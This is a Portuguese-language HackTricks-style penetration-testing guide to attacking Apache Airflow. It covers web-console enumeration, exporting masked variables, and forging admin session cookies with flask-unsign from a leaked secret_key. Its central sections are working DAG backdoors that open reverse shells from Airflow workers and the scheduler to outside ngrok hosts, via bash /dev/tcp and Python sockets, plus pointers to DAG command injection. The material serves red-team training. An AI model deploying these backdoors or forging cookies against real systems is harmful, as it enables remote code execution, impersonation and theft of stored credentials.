Segurança do Apache Airflow
Reading time: 7 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Apache Airflow serve como uma plataforma para orquestrar e agendar pipelines de dados ou fluxos de trabalho. O termo "orquestração" no contexto de pipelines de dados significa o processo de organizar, coordenar e gerenciar fluxos de trabalho de dados complexos que se originam de várias fontes. O principal objetivo desses pipelines de dados orquestrados é fornecer conjuntos de dados processados e consumíveis. Esses conjuntos de dados são amplamente utilizados por uma infinidade de aplicações, incluindo, mas não se limitando a, ferramentas de inteligência de negócios, ciência de dados e modelos de aprendizado de máquina, todos os quais são fundamentais para o funcionamento de aplicações de big data.
Basicamente, o Apache Airflow permitirá que você agende a execução de código quando algo (evento, cron) acontecer.
Laboratório Local
Docker-Compose
Você pode usar o arquivo de configuração docker-compose de https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml para lançar um ambiente docker completo do apache airflow. (Se você estiver no MacOS, certifique-se de dar pelo menos 6GB de RAM para a VM do docker).
Minikube
Uma maneira fácil de executar apache airflow é executá-lo com minikube:
helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command
# Use this command to delete it
helm delete airflow-release
Configuração do Airflow
O Airflow pode armazenar informações sensíveis em sua configuração ou você pode encontrar configurações fracas em vigor:
RBAC do Airflow
Antes de começar a atacar o Airflow, você deve entender como as permissões funcionam:
Ataques
Enumeração do Console Web
Se você tiver acesso ao console web, pode ser capaz de acessar algumas ou todas as seguintes informações:
- Variáveis (Informações sensíveis personalizadas podem ser armazenadas aqui)
- Conexões (Informações sensíveis personalizadas podem ser armazenadas aqui)
- Acesse-as em
http://<airflow>/connection/list/
- Configuração (Informações sensíveis como o
secret_key
e senhas podem ser armazenadas aqui) - Liste usuários e funções
- Código de cada DAG (que pode conter informações interessantes)
Recuperar Valores de Variáveis
As variáveis podem ser armazenadas no Airflow para que os DAGs possam acessar seus valores. É semelhante a segredos de outras plataformas. Se você tiver permissões suficientes, pode acessá-las na GUI em http://<airflow>/variable/list/
.
O Airflow, por padrão, mostrará o valor da variável na GUI, no entanto, de acordo com isso, é possível definir uma lista de variáveis cujo valor aparecerá como asteriscos na GUI.
No entanto, esses valores ainda podem ser recuperados via CLI (você precisa ter acesso ao DB), execução de DAG arbitrário, API acessando o endpoint de variáveis (a API precisa ser ativada) e até mesmo a própria GUI!
Para acessar esses valores pela GUI, basta selecionar as variáveis que você deseja acessar e clicar em Ações -> Exportar.
Outra maneira é realizar um bruteforce no valor oculto usando o filtro de pesquisa até obtê-lo:
Escalação de Privilégios
Se a configuração expose_config
estiver definida como True, a partir da função Usuário e acima, pode-se ler a configuração na web. Nessa configuração, o secret_key
aparece, o que significa que qualquer usuário com isso válido pode criar seu próprio cookie assinado para se passar por qualquer outra conta de usuário.
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
Backdoor de DAG (RCE no trabalhador do Airflow)
Se você tiver acesso de gravação ao local onde os DAGs são salvos, você pode simplesmente criar um que enviará para você um reverse shell.
Observe que este reverse shell será executado dentro de um container de trabalhador do airflow:
import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator
with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)
DAG Backdoor (RCE no scheduler do Airflow)
Se você definir algo para ser executado na raiz do código, no momento da escrita deste texto, ele será executado pelo scheduler após alguns segundos depois de colocá-lo dentro da pasta do DAG.
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator
def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
rs("2.tcp.ngrok.io", 14403)
with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
Criação de DAG
Se você conseguir comprometer uma máquina dentro do cluster DAG, pode criar novos scripts DAG na pasta dags/
e eles serão replicados no restante das máquinas dentro do cluster DAG.
Injeção de Código em DAG
Quando você executa um DAG pela GUI, pode passar argumentos para ele.
Portanto, se o DAG não estiver devidamente codificado, ele pode ser vulnerável a Injeção de Comando.
Foi isso que aconteceu neste CVE: https://www.exploit-db.com/exploits/49927
Tudo o que você precisa saber para começar a procurar por injeções de comando em DAGs é que parâmetros são acessados com o código dag_run.conf.get("param_name")
.
Além disso, a mesma vulnerabilidade pode ocorrer com variáveis (note que com privilégios suficientes você poderia controlar o valor das variáveis na GUI). Variáveis são acessadas com:
from airflow.models import Variable
[...]
foo = Variable.get("foo")
Se forem usados, por exemplo, dentro de um comando bash, você pode realizar uma injeção de comando.
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.